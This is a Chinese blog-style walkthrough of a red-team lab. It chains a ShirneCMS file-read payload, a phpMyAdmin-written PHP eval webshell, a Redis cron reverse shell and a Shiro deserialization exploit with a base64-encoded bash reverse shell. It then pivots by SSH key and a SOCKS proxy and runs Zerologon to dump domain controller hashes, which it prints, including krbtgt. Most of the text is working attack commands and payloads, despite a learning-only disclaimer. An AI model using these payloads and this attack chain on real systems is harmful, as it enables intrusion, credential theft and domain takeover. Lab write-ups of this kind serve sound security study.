红队靶场
🎉B站配套视频:【顺手挂个三连呗】
https://www.bilibili.com/video/BV1xu4y1Z71y/?share_source=copy_web&vd_source=0e30e09a4adf6f81c3038fa266588eff
🔥系列专栏:红队靶场
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2023年6月3日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
巅峰之路
- 红队靶场
- 前言
- 服务探测
- 端口扫描
- 目录爆破
- 内网横向
- 利用shiro+redis反弹shell
- ssh登录
- 代理访问盲打域控
- zerologon
前言
本文章仅用作实验学习,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。
服务探测
端口扫描
masscan 192.168.10.174 --ports 0-10000
就开了两个端口
标题显现出shirnecms
谷歌搜一下shirnecms
发现是个开源的后台框架、
并且f12版本可能是4.3.1
然后在github找一下这个框架
点开发现最新版是1.2.2,这就说明我们找错了
那就接着找
根据年代开始找
但是github第一个发布版本就是2019年的
所以先不考虑源码获取
接着搜一下有没有洞
看到是有的,所以看一下
然后针对漏洞编号进行查找
找到如下payload
http://localhost/static/ueditor/php/controller.php?
action=proxy&remote=php://filter/convert.base64-encode|convert.base64-
encode|convert.base64-encode|convert.base64-encode|convert.base64-
encode|convert.base64-encode/resource=config.json&maxwidth=-1&referer=test
直接发包
应该是有东西
但是很复杂,看不懂,翻一翻
发现这里有个png
但是还是看不懂,编码转换也看不懂
但是我找到了这个
https://twitter.com/yibudengtian1
可以读取passwd
我尝试一下
这下就OK了,bp自动识别出来了
那么这就相当于一个本地文件包含
如果我能有个马,或者phpinfo就可以达成RCE
并且因为这个时候我盲目的尝试我唯一找到的exp成功,由此我知道了版本是1.2.0
那么我现在把源码下载下来看一看
发现源码的数据库配置文件存在泄露
那么我现在就要读取一下
众所周知,linux网站根目录通常在如下的地方
所以我先按照这个路径去进行尝试访问
成功得到数据库的账号密码
用户名 root 、密码vVICDU1Erw、数据库名cms
但是数据库没有开放外网端口
但是我会尝试ssh密码复用
尝试登录一下
但是不对
接下来我会找网站后台,再次尝试复用
目录爆破
发现了phpmyadmin
还有一个uploads
还有一个admin
我们访问一下
只有admin以及phpmyadmin可以访问,其他的都不能访问
并且phpmyadmin账号密码复用成功
尝试直接写shell
但是显示没权限
那我就只能看看我能不能创建管理员用户或者查询一些信息
因为左边就有数据库结构,所以我们开始翻
找到了网站后台
的管理员用户的东西
加了盐,但是也可以放到somd5看看
果不其然没有
那就找他的加盐规则然后写进去一个用户就好
接下来翻一下加盐规则
可以看到调用了一个encode_password
然后再跟一下encode_password
关注一下return,看处理过会返回什么
找到了
md5加密
那么我们现在随便给一个密码然后加个盐,然后更新到数据库里
首先我自己生成了一个
import hashlib
password = 'admin'
salt = 'QVfSkGQY'
# 将密码和盐值拼接
salted_password = password + salt
# 使用md5算法对拼接后的字符串进行哈希运算
hashed_password = hashlib.md5(salted_password.encode()).hexdigest()
print(hashed_password)
结果发现不对,我觉得应该是需要我用他自己的源码去生成
那就重新写
但是我先不考虑这种
因为还得搭建,我很懒
<?php
include ('application/common.php');
$salt=random_str(8); //这是因为全局搜索发现盐是一个随机的8为字符
$password = '!@#123QWEqwe';
$newpassword = encode_password ($password, $salt);
echo $newpass . "\n" ; echo $salt;
?>
所以我们要找,哪里定义了这个函数
发现是在common.php
那我们有两个方式,第一个是吧这个函数的逻辑用我们的方法构建出来
第二个是那我们就包含他,然后调用这个函数
接下来我们简单的放一下,就放在src目录下
因为这里是我们的网站路径,我们可以访问到
并且phpstduy搭建一下就行
不会得看我视频
他这个加密呢就是
使用给定的加密规则,将密码"admin123"和盐值"QVfSkGQY"连接起来,然后分别进行两次MD5哈希处理,最终得到密码的加密结果。
第一步,计算md5("admin123"),得到 "21232f297a57a5a743894a0e4a801fc3"。
第二步,将上述结果与盐值"QVfSkGQY"连接起来,得到 "21232f297a57a5a743894a0e4a801fc3QVfSkGQY"。
第三步,再次进行MD5哈希处理,得到 "7c1b35ec29fd90cda85923b94e2b1cf4"。这就是加密后的结果。
因此,使用给定的加密规则,将"admin123"和盐值"QVfSkGQY"加密后得到的结果为 "7c1b35ec29fd90cda85923b94e2b1cf4"。
但是手工修改也错了
那我就再写一个php
function encode_password($pass, $salt = '') {
return md5(md5($pass) . $salt);
}
// 随机生成一个八位数字符串作为 salt 值
$salt = substr(str_shuffle('0123456789'), 0, 8);
$password = 'admin123@@';
$encoded_password = encode_password($password, $salt);
echo "原始密码:{$password}\n";
echo "加密后的密码:{$encoded_password}\n";
echo "salt 值:{$salt}\n";
还是错的
最后还是选择了最麻烦的本地搭建源码而后利用文件包含去调用函数
也就是这一种
<?php
include ('application/common.php');
$salt=random_str(8); //这是因为全局搜索发现盐是一个随机的8为字符
$password = '!@#123QWEqwe';
$newpassword = encode_password ($password, $salt);
echo $newpass . "\n" ; echo $salt;
?>
最终输出了md5以及salt
修改进去
最终成功登陆了
在后台转的时候看到了模板二字,让我想到了wordpress可以利用模版getshell,那么我会寻找一下哪里可以自定义模版或者修改模版
紧接着我发现在这里可以修改模版,并且可以进行调用模版,那么我就用phpinfo来在tmp目录写个名为那个模版文件的马,然后我新建文章包含这个模版,然后进应该可以达成getshell
让我们回到phpimyadmin
直接在这里
执行如下
我的笔记里也有,但是好像现在看不了了
多种方法可以自行尝试
这里我进行一句话的直接写入
日志写入应该也可以
select '<?php @eval($_POST[pass]);?>' into outfile '/tmp/view.tpl'
我这里为了方便就去机器里看一眼
好的非常棒
那么接下来我就要整一个文章来包含这个带着马的模版
然后文章的地址我们可以访问,那么也就是我们的马儿可以访问
这里我为了先验证一下能否成功换了一个phpinfo,并且实际验证写入到view.tpl才会生效
但是这里实际只能写入一次
因为想要覆写权限不够的
并且在制作模板的时候一定要选
是独立模版,如图
那么成功了,我们修改成一句话就可以拿shell
这个就不说了
发现是一个单网段机器,所以我们只能先试图横向,找到一台多网卡机器
内网横向
结合我之前在群里和大家吹牛逼说的
fscan无脑上
https://github.com/shadow1ng/fscan/releases/tag/1.8.2
chmod +x fscan_amd64
./fscan_amd64 -h 192.168.10.0/24
[+] Redis:192.168.10.175:6379 abc123 file:/var/lib/redis/dump.rdb
[+] Redis:192.168.10.175:6379 like can write /var/spool/cron/
无密码
接下来开始写公钥
并且也能写
并且我蛮看到他能写的地方是
like can write /var/spool/cron/
这个文件夹是计划任务的地方,非常明显
那么我就简单写一个计划任务
set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.10.129/9999 0>&1\n\n"
ye
config set dir /var/spool/cron/
config set dbfilename root
save
但是写不了
有可能是权限的问题
那我接着尝试写ssh
config set dir /root/.ssh/
但是这一块你可以尝试一下写别的用户,如果你能猜到
ssh也写不了
利用shiro+redis反弹shell
这一块我问了人,后期准备自己搭建复现一下,挺有意思
https://mp.weixin.qq.com/s?__biz=MzU2NTExMDQxOQ==&mid=2247483934&idx=1&sn=aa20df31b6dea473ed72cfb90d50a752
以及
http://www.hackdig.com/10/hack-803659.htm
会单独出一个文章去浮现这个问题
这里先一笔带过
首先
我们需要一个exp
无论如何先保存下来,如果出现可以直接使用
原理一时半会讲不明白
python3.7可以成功
需要安装模块pyyso
import pyyso
import redis
redis_conn=redis.StrictRedis(host='192.168.10.175', port=6379,password="abc123")
whatever=b"test1"
key=b"shiro:session:"+whatever
value=pyyso.cb1v192("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEyOS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}")
redis_conn.set(key,value)
print("yes")
//YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEyOS84ODg4IDA+JjE=是bash -i >& /dev/tcp/192.168.10.129/8888 0>&1需要修改后自己base64编码
而后python3.7 exp.py
而后nc -nvlp 8888
可以连接查看一下
有没有东西
这个时候redis中存在了test1的session
而后我们登陆抓包,在cookie部分修改jsessionid为test1
而后获得shell
同样是单网卡
那就进行一下配置文件什么的查询
在/home/web目录下发现.ssh
并且有私钥,我们复制下来到本地尝试去登陆
开放端口的机器有
192.168.10.175:22 open
192.168.10.174:22 open
192.168.10.172:22 open
我们依次尝试就行
ssh登录
最后在这里登陆上了
ssh -T -i id_rsa root@192.168.10.172 /bin/bash
并且这台机器可以跨网段
那我们就可以用fscan扫,或者直接做个代理出来
chmod +x fscan_amd64
./fscan_amd64 -h 10.10.10.0/24
10段存活另外两台主机
(icmp) Target 10.10.10.137 is alive
(icmp) Target 10.10.10.133 is alive
开放端口如下
10.10.10.133:88 open
10.10.10.133:135 open
10.10.10.133:445 open
10.10.10.133:139 open
10.10.10.137:81 open
10.10.10.137:80 open
10.10.10.137:8099 open
10.10.10.137:135 open
10.10.10.137:8172 open
10.10.10.137:808 open
10.10.10.137:445 open
10.10.10.137:443 open
10.10.10.137:139 open
同时还扫到了洞
[*]10.10.10.133
[->]ad2012
[->]10.10.10.133
[*] 10.10.10.133 (Windows Server 2012 R2 Standard 9600)
[*] NetBios: 10.10.10.137 exchange.sunday.club Windows Server 2012 R2 Standard 9600
[*] NetInfo:
[*]10.10.10.137
[->]exchange
[->]10.10.10.137
通过这里我们知道了域控是10.10.10.133 2012 R2
137是一个exchange 2012 R2
title如下
[*] WebTitle: https://10.10.10.137 code:301 len:0 title:None 跳转url: https://10.10.10.137/owa/
[*] WebTitle: http://10.10.10.137 code:403 len:1157 title:403 - 禁止访问: 访问被拒绝。
[*] WebTitle: https://10.10.10.137/owa/auth/logon.aspx?url=https%3a%2f%2f10.10.10.137%2fowa%2f&reason=0 code:200 len:28269 title:Outlook Web App
[*] WebTitle: http://10.10.10.137:81 code:403 len:1157 title:403 - 禁止访问: 访问被拒绝。
代理访问盲打域控
打域控一般来说盲打用的比较多,CS里面插件都有很多集成
可以方便地利用
当然你也可以手搓
有很多py脚本
服务端
./linux_x64_admin -l 192.168.125.134:8000 -s 123
客户端
chmod +x linux_x86_agent
./linux_x86_agent -c 192.168.10.129:8000 -s 123 --reconnect 8
然后回到服务端
use 0
socks 7777
就可以打开
既然能看到域控,那就盲打,盲打一些高危洞
尝试之后zerologon可以
zerologon
这一块我笔记里有
1. 工具下载
https://github.com/SecuraBV/CVE-2020-1472/blob/master/zerologon_tester.py //探测
https://github.com/dirkjanm/CVE-2020-1472 //利用
2. 检测漏洞
proxychains4 python3 zerologon_tester.py ad2012 10.10.10.133
#这里需要两个参数 域控名 和 域控IP
3. 获取hash
proxychains4 python3 /usr/share/doc/python3-impacket/examples/secretsdump.py sunday.club/ad2012\$@10.10.10.133 -no-pass #同样是域控名 和域控IP
4. 或者登陆
proxychains4 python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7e6f1603cd213e33e7734613258caffe sunday.club/administrator@10.10.10.133
5. 转储原来的hash
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
exit
6. 提取域控原本hash
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
7. 恢复hash
python3 reinstall_original_pw.py ad01 10.10.10.137 上面的hash值
8. 再次hashdump,达到权限维持的效果
python3 secretsdump.py ad01.redteam.club/administrator@10.10.10.137 -hashes :747f92f9bf20a4fc930afc4dadf53bdc
9. 扩大攻击面
恢复之后,同样可以看到krbtgt这个账号的hash,可以利用它生成黄金票据来进行权限维持。
然后接着一步步利用
成功
接下来直接登陆就行
sunday.club\Administrator:500:aad3b435b51404eeaad3b435b51404ee:7e6f1603cd213e33e7734613258caffe:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b2f8cf489b0f9961dbe45d8b51bf4163:::
那后就拿到了域控的管理员用户
ip确实是DC
到这就结束了
剩下一个exchange没必要打了,DC都拿了
如果要打的话
CVE-2021-26855组合CVE-2021-27065
可以RCE
我没试